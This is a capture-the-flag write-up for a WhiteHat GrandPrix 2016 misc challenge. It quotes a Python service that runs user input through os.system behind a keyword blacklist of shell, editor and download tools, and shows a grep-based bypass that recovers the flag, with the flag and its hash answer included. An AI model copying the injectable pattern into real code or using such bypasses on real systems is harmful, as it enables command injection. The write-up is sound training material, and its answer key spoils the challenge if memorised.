WhiteHat GrandPrix - 100 - Banh da Ke - Misc

Informations

Version

By Version Comment
noraj 1.0 Creation

CTF

Description

When you gather all part of flag. Let's submit: WhiteHat{SHA1(flag)}

nc misc04.grandprix.whitehatvn.com 23403

nc bakmisc04.grandprix.whitehatvn.com 23403

http://material.grandprix.whitehatvn.com/gp2016/Misc04_be5358f2cb135ae9a38665a0d5ff199fc4fabb47.zip

http://bakmaterial.grandprix.whitehatvn.com/gp2016/Misc04_be5358f2cb135ae9a38665a0d5ff199fc4fabb47.zip

Alternative server on amazon in case of low traffic:

http://54.183.97.137/gp2016/Misc04_be5358f2cb135ae9a38665a0d5ff199fc4fabb47.zip

create_folder_player.py

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import os
import random
flag = "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
count = 0
length = len(flag)
print length
arr = random.sample(range(0,10000),length)
arr = sorted(arr)
for k in range(0,10000):
try:
os.mkdir(str(k))
except:
pass
if k in arr:
f=open("./"+str(k)+"/"+os.urandom(8).encode("hex")+"."+os.urandom(8).encode("hex"),"w").write(str(flag[count]))
count +=1

mics.py

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#!/usr/bin/env python
import os
import re
import sys
blaclist = "cat|nano|less|tail|vim|head|apt|install|wget|more|emacs|vi|subl|pico|bash|sh|rm|sed|nl|flag.hihi|`|%|\$|chmod|python"
myregrex = "\W*(?i)("+blaclist+")\W*"
cmd = ""
while(cmd != "exit"):
sys.stdout.write("Input your command: \n")
sys.stdout.flush()
cmd = raw_input()
check = re.findall(myregrex,cmd)
if check!=[]:
sys.stdout.write("rejected\n")
sys.stdout.flush()
continue
try:
#call()
a ="XXXXXXXXXXXXX"
a+=cmd
os.system(a)
except:
sys.stdout.write("bad command\n")
sys.stdout.flush()

Solution

  • create_folder_player.py: there will be 10000 folders with one part of the flag in several of them choosen randomly.
  • misc.py: lol, the spell. blaclist vs blacklist.
  • misc.py: ok seriously, blacklist usage sucks so I wont do a script to send a ls for the all 10000 folders. I will simply find a command not blacklisted: grep.
  • grep is magic, you can use all kind of regex and use it recursively:

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Input your command:
grep -r -E '*.*' .
./5256/7e8e1adc2c27d5ae.b20d7fe2eeee83a6:e
./5363/049185c04d8d4a6a.14b749db725281b6:p
./9149/e60247d6e9b86d66.538088287218f418:h
./6625/99c4b89e33717d68.4e7cfddc3ab792ab:m
./2961/af1fa87c94746adc.4ceba2ad4425295a:H
./5360/3b1d1d39b7cdfc5e.b3d700c19f7da568:3
./7520/be92bc1c03188333.8a0acf56d05e21f2:D
./9460/0990eb1ff5a0f0f4.2b8448627eda707d:4
./7261/85c5e9b11412182b.c8aa64a3e89d6116:4
./4464/bfb49af4d0d18330.0e0a92989ea0cd16:{
./8447/1383404de7cf99d1.801ee7e580554bf7:r
./9817/abb9dad1b91251c0.8aca51ae85b0a5a3:}
./2464/91001f84e6b7043c.362d39207f7113d5:e
./6089/0da7f2cf81b578bc.64aceb97e90d59b8:4
./7265/0d1d93183a71652c.f62fd332e6a893c7:n
./8042/45b7f42e37a7036d.4649801c191cd850:t
./8566/eb0eac89c6af6941.a01ee5abd0018d64:y
./1490/ce66a0652ef071e2.8e59cb623f5044db:i
./3391/d5bb02174118cd0a.8452e896dc972780:a
./9729/ff958bf095684403.ba220df0c0a00cbc:d
./5627/39835fcae4e0fb1e.d63a2b4f7cd6cc4d:_
./5754/01b98e405d1a6f5e.dfea13f68bf1d28c:c
./2124/0388bdb00dff778b.cf361e5e8cba7330:t
./8919/8b998e1b2d84792e.05c56576bc8a640c:_
./251/01fbe27318a591b2.32905c5f1c5d5be2:W
./6805/421c3e7b161f09e6.cb2d792b88d852d3:_
./7615/40672c2915963dc7.23d290b7ab5a23fe:_
./4983/29a3e67904c136c1.82698942425d3172:k
./4091/5d4d11679777c463.54a739cf22f2147f:t
./1477/76ed9a66da76f47c.fffc5ebba341f304:h
./6428/4ab16af8f7bea2ca.f326ac02efddd099:l
./9664/3a309f1c601603e8.949523481193df68:r

  • Save the output in a text file.
  • Let's order that with a ruby script:

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#!/usr/bin/ruby
arr = []
File.open('misc04.txt').each do |line|
# math the folderName, fileName and content of each file (one char)
regex = line.match(/\/([0-9]{1,4})\/([a-f0-9]{16}\.[a-f0-9]{16}):(.)/)
folderName = regex.captures[0]
fileName = regex.captures[1]
char = regex.captures[2]
# convert folderName to int in order to be able to sort it the right way. Sort as int (2464 > 251), sort a string (2464 < 251).
arr.push([folderName.to_i,fileName,char])
end
# sort by first col, so sort by fileName
arr.sort!
# display only chars (third column of each row)
arr.each{|r| print r[2]}

  • Execute it:

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[[email protected]][email protected]–––––––––––––[~/CTF/WhiteHat_GrandPrix/2016]
$ ruby sorted.rb
WhiteHat{ke3p_c4lm_4nD_try_h4rd}

  • Format the flag (WhiteHat{SHA1(flag)}):

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[[email protected]][email protected]–––––––––––––[~/CTF/WhiteHat_GrandPrix/2016]
$ printf %s 'WhiteHat{ke3p_c4lm_4nD_try_h4rd}' | sha1sum
1a05093adb0795d8e2f5b89985c43b85bcb11d19 -

  • Submt the flag WhiteHat{1a05093adb0795d8e2f5b89985c43b85bcb11d19}.

Submit

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